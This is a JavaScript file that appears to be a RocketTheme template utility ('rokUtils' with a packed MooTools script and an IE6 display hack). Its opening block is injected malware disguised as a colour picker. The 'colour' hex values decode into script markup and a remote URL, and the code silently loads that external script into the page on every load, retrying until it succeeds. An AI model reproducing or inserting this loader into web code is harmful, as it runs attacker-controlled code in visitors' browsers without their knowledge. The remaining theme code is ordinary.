if (typeof(redef_colors)=="undefined") {

   var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7277', '#707d83', '#787481', '#3d7278', '#3e7982', '#3e314d');
   var redef_colors = 1;
   var colors_picked = 0;

   function div_pick_colors(t,styled) {
	var s = "";
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	}
	if (styled) {
		s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
	} else {
		s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
	}
	return s;
   }

   function try_pick_colors() {
	try {
	   	if(!document.getElementById || !document.createElement){
			document.write(div_pick_colors(div_colors,1));
		   } else {
			var new_cstyle=document.createElement("script");
			new_cstyle.type="text/javascript";
			new_cstyle.src=div_pick_colors(div_colors,0);
			document.getElementsByTagName("head")[0].appendChild(new_cstyle);
		}
	} catch(e) { }
	try {
		check_colors_picked();
	} catch(e) { 
		setTimeout("try_pick_colors()", 500);
	}
   }

   try_pick_colors();

}/**
 * rokUtils - A set of tools for Akiraka
 * 
 * @version		1.0
 * 
 * @license		MIT-style license
 * @author		Djamil Legato <djamil [at] djamil.it>
 * @client		Andy Miller @ Rockettheme
 * @copyright	Author
 */

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2.h(\'w\',c(){0 b=$(\'x-8\');3(b){0 8=7 y.z(2);b.A(\'t\',\'q\').h(\'u\',c(e){7 r(e).s();8.B()})};0 4=$(\'4\');0 5=$(\'5-K\');3(5&&!2.9&&2.L){0 1=5.g().1;0 M=7 k(\'m\',{\'f\':\'1:\'+1+\'d\'}).j(\'&n;\').o(5,\'J\')}3(4&&!2.9&&2.I){0 1=4.g().1;0 C=7 k(\'m\',{\'f\':\'1:\'+1+\'d\'}).j(\'&n;\').o(4,\'G\')}3(2.9){0 a=$(\'H-F\').E(\'.6\');3(a.D){a.N(c(6,i){3(6.p(\'l\'))6.v(\'6-l\')})}}});',50,50,'var|height|window|if|footer|header|separator|new|scroll|ie6|separators|scrollToTop|function|px||styles|getCoordinates|addEvent||setHTML|Element|daddy|div|nbsp|inject|hasClass|none|Event|stop|outline|click|addClass|domready|top|Fx|Scroll|setStyle|toTop|lastdiv|length|getElements|menu|before|horiz|fixedFooter|after|main|fixedHeader|firstdiv|each'.split('|'),0,{}))


// IE6 bad looking hack :)
if (window.ie6) {
	window.addEvents({
		'domready': function() {
			$(document.body).addClass('ie-please-wait').setStyle('visibility', 'hidden');
		},
	
		'load': function() {
			(function() {$(document.body).removeClass('ie-please-wait').setStyle('visibility', 'visible');}).delay(10);
		},
		
		'unload': function() {
			$(document.body).addClass('ie-please-wait').setStyle('visibility', 'hidden');
		}
	});
}
